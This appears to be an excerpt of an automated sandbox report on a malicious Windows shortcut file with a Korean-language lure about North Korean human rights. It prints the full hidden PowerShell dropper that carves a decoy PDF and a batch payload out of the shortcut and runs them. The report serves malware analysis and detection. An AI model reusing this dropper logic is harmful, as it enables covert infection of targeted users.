00000000-00008260-00000C25-882861723] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00008260-00000C25-883040125] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\31fae3290fad30c31c98651462d22724\System.Core.ni.dll" [Source: 00000000-00008260-00000C25-883081526] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00008260-00000C25-883431169] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00008260-00000C25-883546948] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00008260-00000C25-883766351] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00008260-00000C25-883820381] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00008260-00000C25-883845306] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00008260-00000C25-883865221]40:T14b0,Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c dir %WINDIR%\\SysWow64\\WindowsPo ..." (UID: 00000000-00005920) Spawned process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe ..." (UID: 00000000-00008260, Additional Context: "Add-Type -TypeDefinition using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }[User32]::ShowWindow([User32]::FindWindow([NullString]::Value, cmd.exe), 0)if(Get -Location -Match 'System32' -or Get -Location -Match 'Program Files') {Get -Location = 'C:\Users\HAPUBWS\AppData\Local\Temp'}System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x000018FA, [System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x0000B370, 0, 0x0000B370)sc Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf') byte[] 0x0000B370 -Encoding Byte& Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf')System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x00000C03, 0, 0x00000C03)sc C:\Users\Public\public.dat byte[] 0x00000C03 -Encoding ByteSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x000000FA, 0, 0x000000FA)sc C:\Users\Public\북한인권 전문가 토론회061223.bat byte[] 0x000000FA -Encoding Byte& C:\Users\Public\북한인권 전문가 토론회061223.batSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Close()remove-item -path Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName -force;"), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3gli4njl\\3gli4njl.cmdline"" (UID: 00000000-00008840), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA502.tmp" "%TEM ..." (UID: 00000000-00007104) Spawned process "AcroRd32.exe" with commandline ""C:\\.pdf"" (UID: 00000000-00007152) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%PUBLIC%\\\ubd81\ud55c\uc778\ua ..." (UID: 00000000-00000244) Spawned process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\publ ..." (UID: 00000000-00004464), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\x0ckcpo4\\x0ckcpo4.cmdline"" (UID: 00000000-00006672), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES6CB7.tmp" "%TEM ..." (UID: 00000000-00008900) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3voxxt4g\\3voxxt4g.cmdline"" (UID: 00000000-00003028) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES73FA.tmp" "%TEM ..." (UID: 00000000-00005524), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\c2iwyi10\\c2iwyi10.cmdline"" (UID: 00000000-00008520), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES7523.tmp" "%TEM ..." (UID: 00000000-00008956) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\vppfuper\\vppfuper.cmdline"" (UID: 00000000-00009096) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES763C.tmp" "%TEM ..." (UID: 00000000-00008544)41:T14b0,Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c dir %WINDIR%\\SysWow64\\WindowsPo ..." (UID: 00000000-00005920) Spawned process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe ..." (UID: 00000000-00008260, Additional Context: "Add-Type -TypeDefinition using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + user32.dll + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }[User32]::ShowWindow([User32]::FindWindow([NullString]::Value, cmd.exe), 0)if(Get -Location -Match 'System32' -or Get -Location -Match 'Program Files') {Get -Location = 'C:\Users\HAPUBWS\AppData\Local\Temp'}System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x000018FA, [System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x0000B370, 0, 0x0000B370)sc Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf') byte[] 0x0000B370 -Encoding Byte& Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName.replace('.lnk','.pdf')System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x00000C03, 0, 0x00000C03)sc C:\Users\Public\public.dat byte[] 0x00000C03 -Encoding ByteSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin)System.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Read(byte[] 0x000000FA, 0, 0x000000FA)sc C:\Users\Public\북한인권 전문가 토론회061223.bat byte[] 0x000000FA -Encoding Byte& C:\Users\Public\북한인권 전문가 토론회061223.batSystem.IO.FileStream(Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read).Close()remove-item -path Get -ChildItem -Path Get -Location -Recurse *.lnk | where -object {$_.length -eq 0x032AC1C5} | Select -Object -ExpandProperty FullName -force;"), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3gli4njl\\3gli4njl.cmdline"" (UID: 00000000-00008840), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESA502.tmp" "%TEM ..." (UID: 00000000-00007104) Spawned process "AcroRd32.exe" with commandline ""C:\\.pdf"" (UID: 00000000-00007152) Spawned process "cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /c ""%PUBLIC%\\\ubd81\ud55c\uc778\ua ..." (UID: 00000000-00000244) Spawned process "powershell.exe" with commandline "-windowstyle hidden $content = Get-Content -path "%PUBLIC%\\publ ..." (UID: 00000000-00004464), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\x0ckcpo4\\x0ckcpo4.cmdline"" (UID: 00000000-00006672), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES6CB7.tmp" "%TEM ..." (UID: 00000000-00008900) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\3voxxt4g\\3voxxt4g.cmdline"" (UID: 00000000-00003028) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES73FA.tmp" "%TEM ..." (UID: 00000000-00005524), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\c2iwyi10\\c2iwyi10.cmdline"" (UID: 00000000-00008520), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES7523.tmp" "%TEM ..." (UID: 00000000-00008956) Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\vppfuper\\vppfuper.cmdline"" (UID: 00000000-00009096) Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES763C.tmp" "%TEM ..." (UID: 00000000-00008544)42:T41f,file/memory contains long string with (Indicator: "Add-Type"; File: "00000000-00005204") file/memory contains long string with (Indicator: "Add-Type"; File: "00000000-00008260") file/memory contains long string with (Indicator: "Add-Type"; File: "???????????? ???????? ???????.lnk") file/memory contains long string with (Indicator: "Add-Type"; File: "cmd.exe") file/memory contains long string with (Indicator: "Add-Type"; File: "powershell.exe") Found string "function New-TemporaryFile" (Indicator: "New-TemporaryFile"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "function New-Guid" (Indicator: "New-Guid"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp") Found string "function Import-PowerShellDataFile" (Indicator: "Import-PowerShellDataFile"; Source: "00000000-00004464.00000001.124922.081F0000.00000004.mdmp, 00000000-00004464.00000002.126844.081F0000.00000004.mdmp")43:T7d3,Process "powershell.exe" with commandline "C:\\Windows\\SysWow64\\WindowsPowerShell\\v1.0\\powershell.exe "$t1 = 'user32.dll';$t = 'using System; using System.Runtime.InteropServices; public class User32 {[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ', SetLastError = true)]public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);[DllImport(' + [System.Text.Encoding]::UTF8.GetString(34) + $t1 + [System.Text.Encoding]::UTF8.GetString(34) + ')] [return: MarshalAs(UnmanagedType.Bool)] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); }'; Add-Type -TypeDefinition $t;$proName = 'cmd.exe'; $cmdMainWindowHandle = [User32]::FindWindow([NullString]::Value, $proName);[User32]::ShowWindow($cmdMainWindowHandle, 0);$dirPath = Get-Location; if($dirPath -Match 'System32' -or $dirPath -Match 'Program Files') {$dirPath = 'C:\\Users\\HAPUBWS\\AppData\\Local\\Temp'}; $lnkPath = Get-ChildItem -Path $dirPath -Recurse *.lnk | where-object {$_.length -eq 0x032AC1C5} | Select-Object -ExpandProperty FullName;$lnkFile=New-Object System.IO.FileStream($lnkPath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read);$lnkFile.Seek(0x000018FA, [System.IO.SeekOrigin]::Begin);$pdfFile=New-Object byte[] 0x0000B370;$lnkFile.Read($pdfFile, 0, 0x0000B370);$pdfPath = $lnkPath.replace('.lnk','.pdf');sc $pdfPath $pdfFile -Encoding Byte;& $pdfPath;$lnkFile.Seek(0x0000CC6A,[System.IO.SeekOrigin]::Begin);$exeFile=New-Object byte[] 0x00000C03;$lnkFile.Read($exeFile, 0, 0x00000C03);$exePath=$env:public+'\\'+'public.dat';sc $exePath $exeFile -Encoding Byte;$lnkFile.Seek(0x0000D86D,[System.IO.SeekOrigin]::Begin);$batFile=New-Object byte[] 0x000000FA;$lnkFile.Read($batFile, 0, 0x000000FA);$batPath=$env:public+'\\'+'\ubd81\ud55c\uc778\uad8c \uc804\ubb38\uac00 \ud1a0\ub860\ud68c061223.bat';sc $batPath $batFile -Encoding Byte;& $batPath;$lnkFile.Close();remove-item -path $lnkPath -force;"" (UID: 00000000-00008260)44:T10b5,"UserCache.bin" has type "data"- Location: [%LOCALAPPDATA%\Adobe\Acrobat\11.0\UserCache.bin]- [targetUID: 00000000-00007152] "powershell.exe.log" has type "ASCII text with CRLF line terminators"- Location: [%LOCALAPPDATA%\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log]- [targetUID: 00000000-00008260] "#Ubd81#Ud55c#Uc778#Uad8c #Uc804#Ubb38#Uac00 #Ud1a0#Ub860#Ud68c061223.bat" has type "ASCII text with no line terminators"- [targetUID: N/A] "A9Ruuzl6f_44zl9a_5io.tmp" has type "Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)"- Location: [%TEMP%\A9Ruuzl6f_44zl9a_5io.tmp]- [targetUID: 00000000-00007152] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00008260] ".pdf" has type "PDF document version 1.6"- Location: [C:\.pdf]- [targetUID: 00000000-00007152] "A9B8213768ADC68AF64FCC6409E8BE414726687F.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\A9B8213768ADC68AF64FCC6409E8BE414726687F.crl]- [targetUID: 00000000-00007152] "Annssi.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssi.dat]- [targetUID: 00000000-00007152] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00008260] "Annss.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annss.dat]- [targetUID: 00000000-00007152] "addressbook.acrodata" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\addressbook.acrodata]- [targetUID: 00000000-00007152] "public.dat" has type "ASCII text with very long lines with no line terminators"- Location: [%PUBLIC%\public.dat]- [targetUID: 00000000-00008260] "48B76449F3D5FEFA1133AA805E420F0FCA643651.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\48B76449F3D5FEFA1133AA805E420F0FCA643651.crl]- [targetUID: 00000000-00007152] "0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl]- [targetUID: 00000000-00007152] "CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\CRLCache\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl]- [targetUID: 00000000-00007152] "3gli4njl.cmdline" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\3gli4njl\3gli4njl.cmdline]- [targetUID: 00000000-00008260] "c2iwyi10.cmdline" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\c2iwyi10\c2iwyi10.cmdline]- [targetUID: 00000000-00004464] "x0ckcpo4.cmdline" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\x0ckcpo4\x0ckcpo4.cmdline]- [targetUID: 00000000-00004464] "3voxxt4g.cmdline" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\3voxxt4g\3voxxt4g.cmdline]- [targetUID: 00000000-00004464] "vppfuper.cmdline" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\vppfuper\vppfuper.cmdline]- [targetUID: 00000000-00004464] "3gli4njl.0.cs" has type "UTF-8 Unicode (with BOM) text with very long lines with no line terminators"- Location: [%TEMP%\3gli4njl\3gli4njl.0.cs]- [targetUID: 00000000-00008260] "c2iwyi10.0.cs" has type "UTF-8 Unicode (with BOM) text"- Location: [%TEMP%\c2iwyi10\c2iwyi10.0.cs]- [targetUID: 00000000-00004464] "3voxxt4g.0.cs" has type "UTF-8 Unicode (with BOM) text"- Location: [%TEMP%\3voxxt4g\3voxxt4g.0.cs]- [targetUID: 00000000-00004464] "Annssk.dat" has type "data"- Location: [%APPDATA%\Adobe\Acrobat\11.0\Security\Annssk.dat]- [targetUID: 00000000-00007152] "vppfuper.0.cs" has type "UTF-8 Unicode (with BOM) text"- Location: [%TEMP%\vppfuper\vppfuper.0.cs]- [targetUID: 00000000-00004464] "x0ckcpo4.0.cs" has type "UTF-8 Unicode (with BOM) text"- Location: [%TEMP%\x0ckcpo4\x0ckcpo4.0.cs]- [targetUID: 00000000-00004464] "FAP44FB.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\FAP44FB.tmp]- [targetUID: 00000000-00007152]45:T61e,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: ""; Value: "")46:Tab6,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: "CMD.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LANGUAGE"; Key: "INSTALLLANGUAGEFALLBACK"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "TYPE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\MUI\UILANGUAGES\EN-US"; Key: "ALTERNATECODEPAGE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "")47:T979,"cmd.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\MSCORWKS.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\MSCORWKS.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll"48:Ta69,"powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERSHELL.EXE.LOG" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\MICROSOFT.PB378EC07#" "powershell.exe" trying to access non-existent file 